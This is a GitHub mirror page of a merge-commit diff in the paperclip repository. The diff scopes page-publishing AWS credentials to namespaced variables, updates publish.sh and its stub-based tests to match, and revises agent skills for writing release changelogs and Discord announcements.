mirror of
https://github.com/paperclipai/paperclip.git
synced 2026-10-27 11:20:42 +01:00
Merge branch 'master' into fix/fold-extreme-comments
# Conflicts: # ui/src/components/task-chat/TaskChatBubble.tsx
This commit is contained in:
commit
aaecfede7f
1411 files changed
+624373
-18970
No files matched your search
@@ -208,7 +208,7 @@ is missing, the cloned app does not have the expected companies/issues/agents,
|
||||
or the user explicitly asks for the normal isolated-workspace database.
|
||||
|
||||
```sh
|
||||
pnpm paperclipai worktree reseed --from-instance default --seed-mode full --yes
|
||||
npx paperclipai worktree reseed --from-instance default --seed-mode full --yes
|
||||
```
|
||||
|
||||
After reseed, restart through the managed runtime path. A reseed can copy
|
||||
|
||||
@@ -73,8 +73,8 @@ Required for live publishes:
|
||||
export AWS_REGION=us-east-1
|
||||
export PAPERCLIP_PAGE_BUCKET=paperclip-pages-prod
|
||||
export PAPERCLIP_PAGE_BASE_URL=https://pages.paperclip.ing
|
||||
export AWS_ACCESS_KEY_ID=...
|
||||
export AWS_SECRET_ACCESS_KEY=...
|
||||
export PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID=...
|
||||
export PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY=...
|
||||
```
|
||||
|
||||
Optional:
|
||||
@@ -82,15 +82,35 @@ Optional:
|
||||
```bash
|
||||
export PAPERCLIP_PAGE_DEFAULT_PREFIX=""
|
||||
export PAPERCLIP_PAGE_AWS_PROFILE=paperclip-page-uploader
|
||||
export PAPERCLIP_PAGE_AWS_SESSION_TOKEN=... # only with the namespaced key pair
|
||||
```
|
||||
|
||||
Credential resolution order inside `publish.sh`:
|
||||
|
||||
1. `PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID` + `PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY`
|
||||
(scoped to the helper's `aws` calls; the surrounding process identity is
|
||||
untouched)
|
||||
2. `PAPERCLIP_PAGE_AWS_PROFILE`, passed to `aws` as `--profile` (ambient
|
||||
`AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY` / `AWS_SESSION_TOKEN` /
|
||||
`AWS_PROFILE` are stripped from the helper's `aws` calls so the named
|
||||
profile always wins)
|
||||
3. The ambient AWS credential chain
|
||||
|
||||
Setting both the namespaced key pair and `PAPERCLIP_PAGE_AWS_PROFILE` is an
|
||||
error.
|
||||
|
||||
Recommended Paperclip secret names:
|
||||
|
||||
- `paperclip-page-aws-access-key-id`
|
||||
- `paperclip-page-aws-secret-access-key`
|
||||
|
||||
Bind those secrets into publisher agents as `AWS_ACCESS_KEY_ID` and
|
||||
`AWS_SECRET_ACCESS_KEY`. Do not reuse Paperclip's internal S3 attachment/object
|
||||
Bind those secrets into publisher agents as `PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID`
|
||||
and `PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY`. Never bind them as the global
|
||||
`AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY` names: static env keys override
|
||||
`AWS_PROFILE` in the AWS CLI and every SDK, so global names silently switch the
|
||||
whole agent run — and every subprocess — to the page-uploader identity and
|
||||
break access to anything the uploader cannot reach (Secrets Manager, STS role
|
||||
use, other buckets). Do not reuse Paperclip's internal S3 attachment/object
|
||||
storage credentials.
|
||||
|
||||
## AWS Setup
|
||||
@@ -473,27 +493,29 @@ Create secrets from environment variables so values do not land in shell history
|
||||
export PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID="$(jq -r '.AccessKey.AccessKeyId' /tmp/paperclip-page-uploader-key.json)"
|
||||
export PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY="$(jq -r '.AccessKey.SecretAccessKey' /tmp/paperclip-page-uploader-key.json)"
|
||||
|
||||
pnpm paperclipai secrets create \
|
||||
npx paperclipai secrets create \
|
||||
--company-id <company-id> \
|
||||
--name paperclip-page-aws-access-key-id \
|
||||
--value-env PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID
|
||||
|
||||
pnpm paperclipai secrets create \
|
||||
npx paperclipai secrets create \
|
||||
--company-id <company-id> \
|
||||
--name paperclip-page-aws-secret-access-key \
|
||||
--value-env PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY
|
||||
```
|
||||
|
||||
Bind runtime env to publishing agents:
|
||||
Bind runtime env to publishing agents. Use the namespaced names — never the
|
||||
global `AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY`, which would shadow the
|
||||
host `AWS_PROFILE` identity for the entire agent run:
|
||||
|
||||
```json
|
||||
{
|
||||
"AWS_ACCESS_KEY_ID": {
|
||||
"PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID": {
|
||||
"type": "secret_ref",
|
||||
"secretId": "<access-key-secret-id>",
|
||||
"version": "latest"
|
||||
},
|
||||
"AWS_SECRET_ACCESS_KEY": {
|
||||
"PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY": {
|
||||
"type": "secret_ref",
|
||||
"secretId": "<secret-key-secret-id>",
|
||||
"version": "latest"
|
||||
@@ -510,7 +532,7 @@ Bind runtime env to publishing agents:
|
||||
Create or update the company skill from this package:
|
||||
|
||||
```bash
|
||||
pnpm paperclipai skills create \
|
||||
npx paperclipai skills create \
|
||||
--company-id <company-id> \
|
||||
--name "Paperclip Page" \
|
||||
--slug paperclip-page \
|
||||
@@ -521,7 +543,7 @@ pnpm paperclipai skills create \
|
||||
Attach it to an agent:
|
||||
|
||||
```bash
|
||||
pnpm paperclipai skills agent sync <agent-id-or-shortname> \
|
||||
npx paperclipai skills agent sync <agent-id-or-shortname> \
|
||||
--company-id <company-id> \
|
||||
--skill paperclip-page
|
||||
```
|
||||
|
||||
@@ -19,10 +19,20 @@ host, for example `https://pages.paperclip.ing/<slug>/`.
|
||||
- `PAPERCLIP_PAGE_BUCKET`
|
||||
- `PAPERCLIP_PAGE_BASE_URL`
|
||||
- `AWS_REGION`
|
||||
- AWS credentials via Paperclip Secrets or an approved AWS vault
|
||||
- `PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID` and `PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY`
|
||||
with the page-uploader credentials from Paperclip Secrets
|
||||
- Optional environment variables:
|
||||
- `PAPERCLIP_PAGE_DEFAULT_PREFIX`
|
||||
- `PAPERCLIP_PAGE_AWS_PROFILE`
|
||||
- `PAPERCLIP_PAGE_AWS_PROFILE` (alternative to the namespaced key pair)
|
||||
- `PAPERCLIP_PAGE_AWS_SESSION_TOKEN` (only together with the namespaced key
|
||||
pair)
|
||||
|
||||
Do not bind the page-uploader credentials as global `AWS_ACCESS_KEY_ID` /
|
||||
`AWS_SECRET_ACCESS_KEY`: static env keys take precedence over `AWS_PROFILE` in
|
||||
every AWS SDK, so global names silently replace the host identity for every
|
||||
process in the agent run. The namespaced variables scope the uploader identity
|
||||
to this helper only. The ambient credential chain still works as a fallback
|
||||
when none of the `PAPERCLIP_PAGE_AWS_*` credential variables are set.
|
||||
|
||||
## Workflow
|
||||
|
||||
|
||||
@@ -15,6 +15,15 @@ Required environment for live publish:
|
||||
|
||||
Optional environment:
|
||||
PAPERCLIP_PAGE_DEFAULT_PREFIX, PAPERCLIP_PAGE_AWS_PROFILE
|
||||
PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID, PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY,
|
||||
PAPERCLIP_PAGE_AWS_SESSION_TOKEN
|
||||
|
||||
Credential resolution for aws calls made by this helper:
|
||||
1. PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID + PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY
|
||||
(used only by this helper; ambient AWS_PROFILE/AWS_* identity is untouched)
|
||||
2. PAPERCLIP_PAGE_AWS_PROFILE (passed as --profile; ambient AWS_* identity
|
||||
variables are stripped from the helper's aws calls)
|
||||
3. Ambient AWS credential chain (env keys, profile, instance role)
|
||||
|
||||
Options:
|
||||
--slug SLUG Lowercase URL slug. Allowed: a-z, 0-9, hyphen.
|
||||
@@ -125,9 +134,26 @@ join_prefix() {
|
||||
}
|
||||
|
||||
aws_base_args=()
|
||||
aws_env_unset=()
|
||||
aws_env_overrides=()
|
||||
|
||||
aws_cli() {
|
||||
aws "${aws_base_args[@]}" "$@"
|
||||
local name pair
|
||||
if [[ ${#aws_env_unset[@]} -gt 0 || ${#aws_env_overrides[@]} -gt 0 ]]; then
|
||||
# Scope the page-uploader identity to this helper's aws calls only, and
|
||||
# drop the ambient identity variables that would otherwise mix with or
|
||||
# shadow the configured credential source. Apply the overrides with shell
|
||||
# builtins in a subshell — passing them to an external `env` command would
|
||||
# expose the credential values in its argv (world-readable via
|
||||
# /proc/<pid>/cmdline) while it runs.
|
||||
(
|
||||
for name in "${aws_env_unset[@]}"; do unset "$name"; done
|
||||
for pair in "${aws_env_overrides[@]}"; do export "$pair"; done
|
||||
exec aws "${aws_base_args[@]}" "$@"
|
||||
)
|
||||
else
|
||||
aws "${aws_base_args[@]}" "$@"
|
||||
fi
|
||||
}
|
||||
|
||||
object_exists() {
|
||||
@@ -297,6 +323,18 @@ default_prefix="$(normalize_default_prefix "${PAPERCLIP_PAGE_DEFAULT_PREFIX:-}")
|
||||
[[ -n "$base_url" ]] || die "PAPERCLIP_PAGE_BASE_URL is required"
|
||||
base_url="$(normalize_base_url "$base_url")"
|
||||
|
||||
page_access_key_id="${PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID:-}"
|
||||
page_secret_access_key="${PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY:-}"
|
||||
if [[ -n "$page_access_key_id" || -n "$page_secret_access_key" ]]; then
|
||||
[[ -n "$page_access_key_id" && -n "$page_secret_access_key" ]] ||
|
||||
die "PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID and PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY must be set together"
|
||||
[[ -z "${PAPERCLIP_PAGE_AWS_PROFILE:-}" ]] ||
|
||||
die "set PAPERCLIP_PAGE_AWS_PROFILE or the PAPERCLIP_PAGE_AWS_* key pair, not both"
|
||||
fi
|
||||
if [[ -n "${PAPERCLIP_PAGE_AWS_SESSION_TOKEN:-}" && -z "$page_access_key_id" ]]; then
|
||||
die "PAPERCLIP_PAGE_AWS_SESSION_TOKEN requires the PAPERCLIP_PAGE_AWS_* key pair"
|
||||
fi
|
||||
|
||||
explicit_slug=0
|
||||
if [[ -n "$slug_arg" ]]; then
|
||||
explicit_slug=1
|
||||
@@ -310,8 +348,18 @@ if [[ "$dry_run" == "0" ]]; then
|
||||
require_command curl
|
||||
[[ -n "$region" ]] || die "AWS_REGION is required for live publish"
|
||||
aws_base_args=(--region "$region")
|
||||
if [[ -n "${PAPERCLIP_PAGE_AWS_PROFILE:-}" ]]; then
|
||||
if [[ -n "$page_access_key_id" ]]; then
|
||||
aws_env_unset=(AWS_PROFILE AWS_SESSION_TOKEN)
|
||||
aws_env_overrides=(
|
||||
AWS_ACCESS_KEY_ID="$page_access_key_id"
|
||||
AWS_SECRET_ACCESS_KEY="$page_secret_access_key"
|
||||
)
|
||||
if [[ -n "${PAPERCLIP_PAGE_AWS_SESSION_TOKEN:-}" ]]; then
|
||||
aws_env_overrides+=(AWS_SESSION_TOKEN="$PAPERCLIP_PAGE_AWS_SESSION_TOKEN")
|
||||
fi
|
||||
elif [[ -n "${PAPERCLIP_PAGE_AWS_PROFILE:-}" ]]; then
|
||||
aws_base_args+=(--profile "$PAPERCLIP_PAGE_AWS_PROFILE")
|
||||
aws_env_unset=(AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN AWS_PROFILE)
|
||||
fi
|
||||
fi
|
||||
|
||||
|
||||
@@ -131,6 +131,215 @@ test("rejects hidden files in the source tree", () => {
|
||||
assert.match(result.output, /hidden files and dot paths are not allowed/);
|
||||
});
|
||||
|
||||
test("namespaced page keys require both halves of the pair", () => {
|
||||
const result = runPublish(
|
||||
[createSite(), "--slug", "demo-page", "--dry-run"],
|
||||
{ PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID: "AKIAPAGEUPLOADER" },
|
||||
);
|
||||
|
||||
assert.notEqual(result.status, 0);
|
||||
assert.match(result.output, /must be set together/);
|
||||
});
|
||||
|
||||
test("namespaced session token requires the namespaced key pair", () => {
|
||||
const result = runPublish(
|
||||
[createSite(), "--slug", "demo-page", "--dry-run"],
|
||||
{ PAPERCLIP_PAGE_AWS_SESSION_TOKEN: "page-session-token" },
|
||||
);
|
||||
|
||||
assert.notEqual(result.status, 0);
|
||||
assert.match(result.output, /requires the PAPERCLIP_PAGE_AWS_\* key pair/);
|
||||
});
|
||||
|
||||
test("namespaced page keys conflict with PAPERCLIP_PAGE_AWS_PROFILE", () => {
|
||||
const result = runPublish(
|
||||
[createSite(), "--slug", "demo-page", "--dry-run"],
|
||||
{
|
||||
PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID: "AKIAPAGEUPLOADER",
|
||||
PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY: "page-secret",
|
||||
PAPERCLIP_PAGE_AWS_PROFILE: "paperclip-page-uploader",
|
||||
},
|
||||
);
|
||||
|
||||
assert.notEqual(result.status, 0);
|
||||
assert.match(result.output, /not both/);
|
||||
});
|
||||
|
||||
test("namespaced page keys are scoped to the helper's aws calls", () => {
|
||||
const siteDir = createSite();
|
||||
const binDir = mkdtempSync(join(tmpdir(), "paperclip-page-bin-"));
|
||||
tempDirs.add(binDir);
|
||||
const envDump = join(binDir, "aws-env.txt");
|
||||
|
||||
writeExecutable(
|
||||
join(binDir, "aws"),
|
||||
`#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
{
|
||||
echo "AWS_ACCESS_KEY_ID=\${AWS_ACCESS_KEY_ID:-<unset>}"
|
||||
echo "AWS_SECRET_ACCESS_KEY=\${AWS_SECRET_ACCESS_KEY:-<unset>}"
|
||||
echo "AWS_SESSION_TOKEN=\${AWS_SESSION_TOKEN:-<unset>}"
|
||||
echo "AWS_PROFILE=\${AWS_PROFILE:-<unset>}"
|
||||
} >"${envDump}"
|
||||
while [[ "$1" == "--region" || "$1" == "--profile" ]]; do
|
||||
shift 2
|
||||
done
|
||||
if [[ "$1" == "s3api" ]]; then
|
||||
echo "None"
|
||||
exit 0
|
||||
fi
|
||||
if [[ "$1" == "s3" && "$2" == "sync" ]]; then
|
||||
exit 0
|
||||
fi
|
||||
echo "unexpected aws call: $*" >&2
|
||||
exit 1
|
||||
`,
|
||||
);
|
||||
writeExecutable(
|
||||
join(binDir, "curl"),
|
||||
`#!/usr/bin/env bash
|
||||
exit 0
|
||||
`,
|
||||
);
|
||||
|
||||
const result = runPublish([siteDir, "--slug", "demo-page"], {
|
||||
AWS_REGION: "us-east-1",
|
||||
PATH: `${binDir}:${process.env.PATH}`,
|
||||
AWS_ACCESS_KEY_ID: "AKIAAMBIENTIDENTITY",
|
||||
AWS_SECRET_ACCESS_KEY: "ambient-secret",
|
||||
AWS_SESSION_TOKEN: "ambient-session-token",
|
||||
AWS_PROFILE: "ambient-profile",
|
||||
PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID: "AKIAPAGEUPLOADER",
|
||||
PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY: "page-secret",
|
||||
});
|
||||
|
||||
assert.equal(result.status, 0);
|
||||
|
||||
const seen = readFileSync(envDump, "utf8");
|
||||
assert.match(seen, /^AWS_ACCESS_KEY_ID=AKIAPAGEUPLOADER$/m);
|
||||
assert.match(seen, /^AWS_SECRET_ACCESS_KEY=page-secret$/m);
|
||||
assert.match(seen, /^AWS_SESSION_TOKEN=<unset>$/m);
|
||||
assert.match(seen, /^AWS_PROFILE=<unset>$/m);
|
||||
});
|
||||
|
||||
test("credential values never pass through an external env command's argv", () => {
|
||||
const siteDir = createSite();
|
||||
const binDir = mkdtempSync(join(tmpdir(), "paperclip-page-bin-"));
|
||||
tempDirs.add(binDir);
|
||||
const envArgvDump = join(binDir, "env-argv.txt");
|
||||
|
||||
writeExecutable(
|
||||
join(binDir, "aws"),
|
||||
`#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
while [[ "$1" == "--region" || "$1" == "--profile" ]]; do
|
||||
shift 2
|
||||
done
|
||||
if [[ "$1" == "s3api" ]]; then
|
||||
echo "None"
|
||||
exit 0
|
||||
fi
|
||||
if [[ "$1" == "s3" && "$2" == "sync" ]]; then
|
||||
exit 0
|
||||
fi
|
||||
echo "unexpected aws call: $*" >&2
|
||||
exit 1
|
||||
`,
|
||||
);
|
||||
writeExecutable(
|
||||
join(binDir, "curl"),
|
||||
`#!/usr/bin/env bash
|
||||
exit 0
|
||||
`,
|
||||
);
|
||||
// Shim env: record every argv it is invoked with, then behave normally.
|
||||
// Credentials in that argv would be world-readable via /proc/<pid>/cmdline.
|
||||
writeExecutable(
|
||||
join(binDir, "env"),
|
||||
`#!/bin/bash
|
||||
printf '%s\\n' "$@" >>"${envArgvDump}"
|
||||
exec /usr/bin/env "$@"
|
||||
`,
|
||||
);
|
||||
|
||||
const result = runPublish([siteDir, "--slug", "demo-page"], {
|
||||
AWS_REGION: "us-east-1",
|
||||
PATH: `${binDir}:${process.env.PATH}`,
|
||||
PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID: "AKIAPAGEUPLOADER",
|
||||
PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY: "page-secret-argv-canary",
|
||||
PAPERCLIP_PAGE_AWS_SESSION_TOKEN: "page-session-argv-canary",
|
||||
});
|
||||
|
||||
assert.equal(result.status, 0);
|
||||
|
||||
const argvSeen = existsSync(envArgvDump) ? readFileSync(envArgvDump, "utf8") : "";
|
||||
assert.doesNotMatch(argvSeen, /page-secret-argv-canary/);
|
||||
assert.doesNotMatch(argvSeen, /page-session-argv-canary/);
|
||||
assert.doesNotMatch(argvSeen, /AKIAPAGEUPLOADER/);
|
||||
});
|
||||
|
||||
test("PAPERCLIP_PAGE_AWS_PROFILE strips ambient static credentials", () => {
|
||||
const siteDir = createSite();
|
||||
const binDir = mkdtempSync(join(tmpdir(), "paperclip-page-bin-"));
|
||||
tempDirs.add(binDir);
|
||||
const envDump = join(binDir, "aws-env.txt");
|
||||
|
||||
writeExecutable(
|
||||
join(binDir, "aws"),
|
||||
`#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
profile="<none>"
|
||||
while [[ "$1" == "--region" || "$1" == "--profile" ]]; do
|
||||
if [[ "$1" == "--profile" ]]; then
|
||||
profile="$2"
|
||||
fi
|
||||
shift 2
|
||||
done
|
||||
{
|
||||
echo "PROFILE_ARG=$profile"
|
||||
echo "AWS_ACCESS_KEY_ID=\${AWS_ACCESS_KEY_ID:-<unset>}"
|
||||
echo "AWS_SECRET_ACCESS_KEY=\${AWS_SECRET_ACCESS_KEY:-<unset>}"
|
||||
echo "AWS_SESSION_TOKEN=\${AWS_SESSION_TOKEN:-<unset>}"
|
||||
echo "AWS_PROFILE=\${AWS_PROFILE:-<unset>}"
|
||||
} >"${envDump}"
|
||||
if [[ "$1" == "s3api" ]]; then
|
||||
echo "None"
|
||||
exit 0
|
||||
fi
|
||||
if [[ "$1" == "s3" && "$2" == "sync" ]]; then
|
||||
exit 0
|
||||
fi
|
||||
echo "unexpected aws call: $*" >&2
|
||||
exit 1
|
||||
`,
|
||||
);
|
||||
writeExecutable(
|
||||
join(binDir, "curl"),
|
||||
`#!/usr/bin/env bash
|
||||
exit 0
|
||||
`,
|
||||
);
|
||||
|
||||
const result = runPublish([siteDir, "--slug", "demo-page"], {
|
||||
AWS_REGION: "us-east-1",
|
||||
PATH: `${binDir}:${process.env.PATH}`,
|
||||
AWS_ACCESS_KEY_ID: "AKIAAMBIENTIDENTITY",
|
||||
AWS_SECRET_ACCESS_KEY: "ambient-secret",
|
||||
AWS_SESSION_TOKEN: "ambient-session-token",
|
||||
AWS_PROFILE: "ambient-profile",
|
||||
PAPERCLIP_PAGE_AWS_PROFILE: "paperclip-page-uploader",
|
||||
});
|
||||
|
||||
assert.equal(result.status, 0);
|
||||
|
||||
const seen = readFileSync(envDump, "utf8");
|
||||
assert.match(seen, /^PROFILE_ARG=paperclip-page-uploader$/m);
|
||||
assert.match(seen, /^AWS_ACCESS_KEY_ID=<unset>$/m);
|
||||
assert.match(seen, /^AWS_SECRET_ACCESS_KEY=<unset>$/m);
|
||||
assert.match(seen, /^AWS_SESSION_TOKEN=<unset>$/m);
|
||||
assert.match(seen, /^AWS_PROFILE=<unset>$/m);
|
||||
});
|
||||
|
||||
test("live publish writes state before URL verification", () => {
|
||||
const siteDir = createSite();
|
||||
const binDir = mkdtempSync(join(tmpdir(), "paperclip-page-bin-"));
|
||||
|
||||
@@ -11,7 +11,11 @@ description: >
|
||||
Write the Discord release announcement for the **stable** Paperclip release.
|
||||
|
||||
This is the companion to `.agents/skills/release-changelog/SKILL.md`. That skill
|
||||
generates the file at `releases/vYYYY.MDD.P.md`. This skill turns that file into
|
||||
writes the changelog — during the beta soak it lives at
|
||||
`releases/beta/v{beta-version}.md` on the `release-notes/v{beta-version}`
|
||||
branch, and after the stable ships a canonicalization PR renames it to
|
||||
`releases/vYYYY.MDD.P.md` (see that skill's Channel Process section). This
|
||||
skill turns that file into
|
||||
a single copy-pasteable Discord block, in dotta's voice, and posts it as the
|
||||
`discord_announcement` document on the release issue.
|
||||
|
||||
@@ -27,8 +31,9 @@ current Paperclip work — not invented.
|
||||
|
||||
## When to use
|
||||
|
||||
- After `release-changelog` has produced `releases/vYYYY.MDD.P.md` on the
|
||||
release worktree/PR.
|
||||
- After `release-changelog` has produced the changelog (beta-keyed on the
|
||||
`release-notes/v{beta-version}` branch during the soak, or the
|
||||
canonicalized `releases/vYYYY.MDD.P.md` after the stable ships).
|
||||
- When the release issue (the one assigned by the release routine) asks for a
|
||||
Discord announcement, or has a `discord_announcement` document that needs to
|
||||
be refreshed for a new date/version.
|
||||
@@ -123,6 +128,12 @@ Notes on the template:
|
||||
|
||||
- The opening and closing `:paperclip: :paperclip: :paperclip:` bookends are
|
||||
part of the brand — keep them.
|
||||
- Name the install channels somewhere in the post: `npx paperclipai@latest`
|
||||
for the stable, `@beta` / `@nightly` / `@canary` for earlier access, and
|
||||
Docker `:latest` moving **only** on stable releases.
|
||||
- The FULL RELEASE NOTES link points at `releases/v{VERSION}.md` on
|
||||
`master` — that file exists only after the post-stable canonicalization
|
||||
PR merges. Merge it before the announcement is posted.
|
||||
- Sections may be UPPERCASE or Title Case — dotta has used both. Pick a style
|
||||
and stay consistent within a single post.
|
||||
- Use `||@everyone||` (Discord spoiler-wrapped) at the very end so it pings
|
||||
@@ -152,6 +163,9 @@ Mimic this register; do not invent a "professional" tone.
|
||||
- **"WHATS NEXT" is forward-looking themes**, not a literal sprint list. 3–5
|
||||
bullets is the right size. Pull these from active goals, in-flight projects,
|
||||
and recent issues the team is working on — do not invent themes.
|
||||
- **Highlights follow the changelog skill's delta rule**: a feature the
|
||||
previous announcement already introduced appears only for what changed
|
||||
this release, and does not headline twice for follow-through work.
|
||||
- **"What's on my mind"** is dotta's personal/strategic thinking — docs gaps,
|
||||
philosophical positioning ("we're the human control plane for ai labor"),
|
||||
invitations ("if you've ever wanted to write about how you use Paperclip,
|
||||
@@ -163,7 +177,8 @@ Mimic this register; do not invent a "professional" tone.
|
||||
(follow the twitter, intros, beta sign-ups). No real ask → drop it.
|
||||
- **Community** is the same contributors list that's in the changelog file,
|
||||
fenced in a triple-backtick block, comma-separated `@username, @username`.
|
||||
Exclude bots and Paperclip founders, same rules as the changelog skill.
|
||||
Exclude bots and the specific folks on the changelog skill's canonical
|
||||
exclusion list — same rules.
|
||||
- **The "In Summary" mission line** evolves slowly. Use the most recent
|
||||
variant unless dotta tells you otherwise. Recent variants:
|
||||
- "PAPERCLIP IS THE AI ORCHESTRATOR FOR HUMANS TO ACCOMPLISH 100x MORE WORK"
|
||||
@@ -174,15 +189,19 @@ Mimic this register; do not invent a "professional" tone.
|
||||
|
||||
## Workflow
|
||||
|
||||
1. Read the matching `releases/vYYYY.MDD.P.md` produced by `release-changelog`.
|
||||
Use the version and contributor list from that file — never re-derive them.
|
||||
1. Read the matching changelog produced by `release-changelog` — the
|
||||
beta-keyed file during the soak, `releases/vYYYY.MDD.P.md` once
|
||||
canonicalized. Use the version and contributor list from that file —
|
||||
never re-derive them.
|
||||
2. Resolve the parent `release` case with key `paperclip-release:vYYYY.MDD.P`.
|
||||
If it does not exist and Cases are enabled, create it using the schema in
|
||||
`.agents/skills/release-changelog/SKILL.md` before creating child cases.
|
||||
3. Read the **release issue thread** (the one assigned to you that ran the
|
||||
release routine) — comments + linked issues + recent issues in the company
|
||||
are the source for `WHATS NEXT` and `What's on my mind`. Pull real themes,
|
||||
not invented ones.
|
||||
are the source for `WHATS NEXT` and `What's on my mind`. Commits already
|
||||
on `origin/master` **after** the beta source commit are prime "what's
|
||||
next" material: they are literally the next release's content. Pull real
|
||||
themes, not invented ones.
|
||||
4. Re-read the three verbatim examples below — they're the canonical voice.
|
||||
5. Draft the announcement using the template above.
|
||||
6. PUT it as the `discord_announcement` document on the release issue (see
|
||||
@@ -444,7 +463,8 @@ https://github.com/paperclipai/paperclip/blob/master/releases/v2026.427.0.md
|
||||
Before handing off:
|
||||
|
||||
1. Version + date match the matching `releases/vYYYY.MDD.P.md` exactly.
|
||||
2. Contributor list matches the changelog (same exclusions: bots, founders).
|
||||
2. Contributor list matches the changelog (same exclusions: bots and the
|
||||
changelog skill's canonical excluded-folks list).
|
||||
3. Highlights are a subset of the changelog Highlights — same shipped features,
|
||||
not invented or pre-alpha work.
|
||||
4. `WHATS NEXT` and `What's on my mind` are pulled from real recent issues /
|
||||
|
||||
@@ -32,14 +32,57 @@ Important rules:
|
||||
- do not derive versions from semver bump types
|
||||
- do not create canary changelog files
|
||||
|
||||
## Channel Process — Source Commit and File Location
|
||||
|
||||
Stables promote a **soaked beta**, so the changelog describes the beta's
|
||||
source commit, not the tip of `master`:
|
||||
|
||||
- The release **source** is the commit the newest `beta/v<beta-version>`
|
||||
tag points at (`{beta-src}` below). Resolve it with:
|
||||
|
||||
```bash
|
||||
git fetch origin --tags
|
||||
npm view paperclipai dist-tags # the beta dist-tag names the version
|
||||
git rev-parse 'beta/v{beta-version}^{commit}'
|
||||
```
|
||||
|
||||
- Commits on `master` after `{beta-src}` ship in the **next** release.
|
||||
Never include them; they are input for a "what's next" section, not the
|
||||
changelog.
|
||||
- During the soak, the file lives at `releases/beta/v{beta-version}.md`
|
||||
on the branch `release-notes/v{beta-version}` (PR to `master`). The
|
||||
release workflow pushes that branch with a generated skeleton when the
|
||||
beta publishes; work on it and rewrite the skeleton in place. If the
|
||||
branch does not exist (a beta cut before the automation), create it
|
||||
from `origin/master` and seed the skeleton:
|
||||
|
||||
```bash
|
||||
./scripts/draft-stable-notes.sh {beta-version}
|
||||
```
|
||||
|
||||
- The PR must merge to `master` **before** the stable is dispatched: the
|
||||
stable preflight reads the file from `master` and fails without it.
|
||||
- Never create `releases/vYYYY.MDD.P.md` yourself on this path — after
|
||||
the stable ships, the workflow opens a canonicalization PR that renames
|
||||
the beta-keyed file to it.
|
||||
- **Fix path exception** (patch releases from a `candidate/release-*`
|
||||
branch): there the notes *do* go directly on the candidate branch as
|
||||
`releases/vYYYY.MDD.P.md`, committed alongside the cherry-picked fixes.
|
||||
|
||||
## Step 0 — Idempotency Check
|
||||
|
||||
Before generating anything, check whether the file already exists:
|
||||
Before generating anything, check whether the changelog already exists:
|
||||
|
||||
```bash
|
||||
ls releases/vYYYY.MDD.P.md 2>/dev/null
|
||||
ls releases/beta/v{beta-version}.md 2>/dev/null # soak-window home
|
||||
ls releases/vYYYY.MDD.P.md 2>/dev/null # canonicalized / fix path
|
||||
git ls-remote origin 'refs/heads/release-notes/v{beta-version}'
|
||||
```
|
||||
|
||||
A `release-notes/v{beta-version}` branch holding only the generated
|
||||
skeleton is the normal starting state, not a conflict — rewrite it in
|
||||
place.
|
||||
|
||||
If it exists:
|
||||
|
||||
1. read it first
|
||||
@@ -49,13 +92,17 @@ If it exists:
|
||||
|
||||
## Step 1 — Determine the Stable Range
|
||||
|
||||
Find the last stable tag:
|
||||
Find the last stable tag and the beta source commit:
|
||||
|
||||
```bash
|
||||
git tag --list 'v*' --sort=-version:refname | head -1
|
||||
git log v{last}..HEAD --oneline --no-merges
|
||||
beta_src="$(git rev-parse 'beta/v{beta-version}^{commit}')"
|
||||
git log v{last}..${beta_src} --oneline --no-merges
|
||||
```
|
||||
|
||||
The changelog range is always `v{last}..{beta-src}` — never `..HEAD` and
|
||||
never `..origin/master`.
|
||||
|
||||
The stable version comes from one of:
|
||||
|
||||
- an explicit maintainer request
|
||||
@@ -76,8 +123,8 @@ Collect release data from:
|
||||
Useful commands:
|
||||
|
||||
```bash
|
||||
git log v{last}..HEAD --oneline --no-merges
|
||||
git log v{last}..HEAD --format="%H %s" --no-merges
|
||||
git log v{last}..{beta-src} --oneline --no-merges
|
||||
git log v{last}..{beta-src} --format="%H %s" --no-merges
|
||||
ls .changeset/*.md | grep -v README.md
|
||||
gh pr list --state merged --search "merged:>={last-tag-date}" --json number,title,body,labels
|
||||
```
|
||||
@@ -94,10 +141,10 @@ Look for:
|
||||
Key commands:
|
||||
|
||||
```bash
|
||||
git diff --name-only v{last}..HEAD -- packages/db/src/migrations/
|
||||
git diff v{last}..HEAD -- packages/db/src/schema/
|
||||
git diff v{last}..HEAD -- server/src/routes/ server/src/api/
|
||||
git log v{last}..HEAD --format="%s" | rg -n 'BREAKING CHANGE|BREAKING:|^[a-z]+!:' || true
|
||||
git diff --name-only v{last}..{beta-src} -- packages/db/src/migrations/
|
||||
